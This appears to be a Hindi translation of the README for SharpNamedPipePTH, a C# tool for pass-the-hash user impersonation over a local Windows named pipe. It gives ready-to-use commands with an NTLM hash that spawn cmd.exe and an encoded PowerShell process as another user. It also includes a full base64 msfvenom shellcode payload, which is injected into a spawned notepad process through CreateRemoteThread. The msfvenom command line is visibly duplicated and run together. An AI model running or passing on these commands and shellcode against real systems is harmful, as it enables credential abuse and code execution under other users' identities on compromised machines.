
Pass the Hash को एक named pipe में भेजकर token Impersonation करना।
यह प्रोजेक्ट एक C# टूल है जो स्थानीय नेम्ड पाइप पर उपयोगकर्ता प्रतिरूपण (Impersonation) के लिए पास-द-हैश (Pass-the-Hash) प्रमाणीकरण का उपयोग करता है। इसका उपयोग करने के लिए आपको स्थानीय व्यवस्थापक या SEImpersonate अधिकारों की आवश्यकता है। स्पष्टीकरण के लिए एक ब्लॉग पोस्ट है:
https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
यह Sharp-SMBExec प्रोजेक्ट के कोड पर आधारित है।
अतीत में, मुझे कुछ आपत्तिजनक सुरक्षा (Offensive Security) प्रोजेक्ट स्थितियों का सामना करना पड़ा, जहाँ मेरे पास पहले से ही एक 'निम्न विशेषाधिकार' वाले उपयोगकर्ता खाते का NTLM-हैश था और मुझे वर्तमान समझौता किए गए सिस्टम पर उस उपयोगकर्ता के लिए एक शेल की आवश्यकता थी - लेकिन यह मौजूदा सार्वजनिक टूल्स के साथ संभव नहीं था। ऐसी स्थिति के लिए दो और तथ्यों पर विचार करें - NTLM हैश को क्रैक नहीं किया जा सकता था और पीड़ित उपयोगकर्ता की कोई प्रक्रिया नहीं थी जिसमें शेलकोड निष्पादित किया जा सके या उस प्रक्रिया में माइग्रेट किया जा सके। यह आप में से कुछ के लिए एक बेतुका किनारा मामला (edge-case) लग सकता है। मैंने फिर भी इसे कई बार अनुभव किया है। केवल एक ही एंगेजमेंट में नहीं, मैंने उस विशिष्ट स्थिति में सही टूल/तकनीक की खोज में बहुत समय बिताया।
एक टूल/तकनीक के लिए मेरे व्यक्तिगत लक्ष्य थे:
प्रतिरूपित उपयोगकर्ता दुर्भाग्य से कोई नेटवर्क प्रमाणीकरण की अनुमति नहीं देता है, क्योंकि नई प्रक्रिया एक प्रतिरूपण टोकन (Impersonation Token) का उपयोग कर रही है जो प्रतिबंधित है। इसलिए आप इस तकनीक का उपयोग केवल किसी अन्य उपयोगकर्ता के साथ स्थानीय कार्यों के लिए कर सकते हैं।
SharpNamedPipePTH का उपयोग करने के दो तरीके हैं। या तो आप एक बाइनरी निष्पादित कर सकते हैं (तर्कों के साथ या बिना):
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"
या आप दूसरे उपयोगकर्ता के रूप में शेलकोड निष्पादित कर सकते हैं:
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
जो है msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0।
मैं अभी तक शेलकोड निष्पादन से खुश नहीं हूँ, क्योंकि यह वर्तमान में प्रतिरूपित उपयोगकर्ता के रूप में notepad को स्पॉन करता है और D/Invoke CreateRemoteThread Syscall के माध्यम से उस नई प्रक्रिया में शेलकोड इंजेक्ट करता है। मैं अभी भी पृष्ठभूमि में एक प्रक्रिया स्पॉन करने या मेमोरी आवंटन के लिए लक्ष्य उपयोगकर्ता की प्रक्रिया के बिना शेलकोड निष्पादित करने की संभावना की तलाश कर रहा हूँ।